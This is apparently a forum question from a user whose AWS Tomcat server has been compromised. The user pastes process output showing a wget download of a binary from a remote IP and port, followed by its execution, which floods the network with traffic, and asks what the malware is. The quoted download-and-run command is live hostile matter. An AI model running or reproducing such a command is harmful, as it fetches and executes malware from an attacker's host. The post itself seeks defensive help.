I'm using AWS EBS instances with tomcat for my java web application. But somehow some guy manages to hack into my instances and all I can see are these processes being ran by tomcat:tomcat   26988  0.2  0.1 180304  2972 ?        S    11:18   0:00 wget http://220.133.87.149:49120/breebtomcat    1898  0.0  0.0  75252   736 ?        Ssl  11:18   0:00 ./breebThese process send out lots of random packets (in TBs) within minutes. The IP(http://220.133.87.149:49120/) from where these malicious files are being downloaded contains many other malicious files.Does anyone have any idea, what am I dealing with? Below are my security settings for AWS instances:Inbound:80  tcp 0.0.0.0/022  tcp 0.0.0.0/0Outbound: All traffic   All Protocol  All IPs
AWS EBS Tomcat instance being hacked
security;amazon aws;tomcat